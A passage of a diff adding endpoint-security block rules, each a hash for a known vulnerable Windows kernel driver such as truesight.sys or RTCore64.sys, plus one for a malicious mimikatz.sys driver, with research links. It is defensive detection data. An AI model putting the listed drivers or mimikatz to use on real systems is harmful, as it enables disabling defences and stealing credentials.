+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1272251d-faf7-52b1-994d-8fee62ad4c06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480322Z",
+  "creation_date": "2026-03-23T11:45:30.480325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480335Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9cbdfc10ba743d5229f7dbb6507b9864012fb58cb253da92962dc611603a73c",
+  "comment": "Vulnerable Kernel Driver (aka GEDevDrvSYS.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "127bdf0c-4bbe-5652-b13d-43c32ca67872",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486421Z",
+  "creation_date": "2026-03-23T11:45:31.486424Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486432Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67dcba22bf61411cf08b8969af50b289e6b39bc72be07a1d4f2a43b3d0f81f8e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12868a34-5406-56de-956a-75e25d3dec39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820195Z",
+  "creation_date": "2026-03-23T11:45:30.820197Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820203Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "978a1e937dd4c03eb2f2a55a0ed8b14294c5c175584ebf85bd20b889bdc9378c",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "128a4e46-aa09-5aac-b0bd-4205c46a425f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461041Z",
+  "creation_date": "2026-03-23T11:45:30.461045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11208bbba148736309a8d2a4ab9ab6b8f22f2297547b100d8bdfd7d413fe98b2",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12a41168-0462-51a8-9a45-9b83bbc6b4c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475027Z",
+  "creation_date": "2026-03-23T11:45:31.475032Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475042Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bccfd41865d666e484b466d20329f31d9689dfe383de42cf3b8ed0465d24aa04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12ab50f9-6593-5e39-ab91-c40e5e43ed93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984476Z",
+  "creation_date": "2026-03-23T11:45:29.984478Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f70169f9541c8f5b13d3ec1f3514cc4f2607d572ffb4c7e5a98be0856852dd8",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12b4ea0e-3b93-585e-a69f-87dc66b5c24c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830563Z",
+  "creation_date": "2026-03-23T11:45:30.830565Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "342a4f20a79388bf0773e9ff1ce5146dd12d2daa8199ad9b9b7b8f509f4aae19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12ba60f2-bcb1-5f7f-81c1-80c615b11322",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486610Z",
+  "creation_date": "2026-03-23T11:45:31.486613Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee2acea763a02c1ca721a87f3740ae2ba7c442841554f27dd215f66d61545c3f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12c48090-aa7d-5781-b155-485c1e672cec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144682Z",
+  "creation_date": "2026-03-23T11:45:31.144685Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144690Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74acdbb7bd8674e46a3e72fc6bd5e069e7268707860a2593a969f0fce78bb056",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12e32e43-ca65-5ea8-a8f2-f57f007371ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819372Z",
+  "creation_date": "2026-03-23T11:45:31.819374Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7820102b73f0b6adbed965be95c2880788c0bc84bfa743c50dcf48164616ae42",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12eadc57-9c8f-5f83-a8f1-7b831ff796bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492073Z",
+  "creation_date": "2026-03-23T11:45:31.492075Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492080Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7553c03169bb960696f1eb35db43c41a3a821c5eb05911642c95457f8c7e871f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12f5ee20-d86d-5d1b-8324-332be0951370",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820772Z",
+  "creation_date": "2026-03-23T11:45:30.820774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a97b404aae301048e0600693457c3320d33f395e9312938831bc5a0e808f2e67",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13069652-2d29-58c3-a9fe-3cef038e622d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149424Z",
+  "creation_date": "2026-03-23T11:45:31.149427Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c9bde89e72111cb03fc68dd0a25cb76288bbb951fc2995b8cecc8b8abf6dec5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "130f1259-890b-575c-af2c-86de58df83e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980012Z",
+  "creation_date": "2026-03-23T11:45:29.980014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980019Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2dec76da0b361e4ed49a4015e67cefb0e6b812103d8ebf93b74016d99d9fcfad",
+  "comment": "Vulnerable Kernel Driver (aka Monitor_win10_x64.sys) [https://www.loldrivers.io/drivers/ca415ed5-b611-4840-bfb2-6e1eacac33d1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1319bb43-9c2e-5ace-b293-cd20038a552e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459186Z",
+  "creation_date": "2026-03-23T11:45:30.459189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12656fc113b178fa3e6bfffc6473897766c44120082483eb8059ebff29b5d2df",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "131ee303-f4c6-59e6-ad33-9d39ed4158ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821556Z",
+  "creation_date": "2026-03-23T11:45:30.821559Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821567Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26ecd3cea139218120a9f168c8c0c3b856e0dd8fb2205c2a4bcb398f5f35d8dd",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13311cd5-daed-5c3b-8f3f-5b18cdf66655",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830113Z",
+  "creation_date": "2026-03-23T11:45:30.830115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830121Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "989b20aaaedb1724948b96d3873d86fae7889c3f3342a4bc87fe5dbd2a66ca4b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "133bb6d1-3a8b-59cf-9eaa-fac7e746bf47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154449Z",
+  "creation_date": "2026-03-23T11:45:31.154451Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2ab7d04d40166f22ba4557f119c92caeb43b6d6bdeba179f040cc85b7dcaeae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13514800-d2bf-5aac-bcd4-e970bce409ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462342Z",
+  "creation_date": "2026-03-23T11:45:30.462346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8210a89ba143d927384d7b2e6b3714d6ae9a9a384796ec6e306df38ca91e9c4e",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "136455b6-2ecf-57aa-855a-f81b9ab24af2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979064Z",
+  "creation_date": "2026-03-23T11:45:29.979066Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979072Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf",
+  "comment": "Vulnerable Kernel Driver (aka LHA.sys) [https://www.loldrivers.io/drivers/eb07ef7e-0402-48eb-8e06-8fb76eda5b84/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13691976-af84-53f9-95e9-bb2b56d9702d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819226Z",
+  "creation_date": "2026-03-23T11:45:31.819229Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "037feddbfda7bd71bd251f82cacac9ddbc7e11bc6d0c27a32d439b86c27907e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "136a498b-416e-549e-ab18-a8d88dd0fdee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825614Z",
+  "creation_date": "2026-03-23T11:45:30.825617Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42a8d5d800c2f86648c2b852205354599ee5b3702fb58b5b86b6caa513690330",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "136d9937-07de-52eb-970a-4b8d627ef6d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
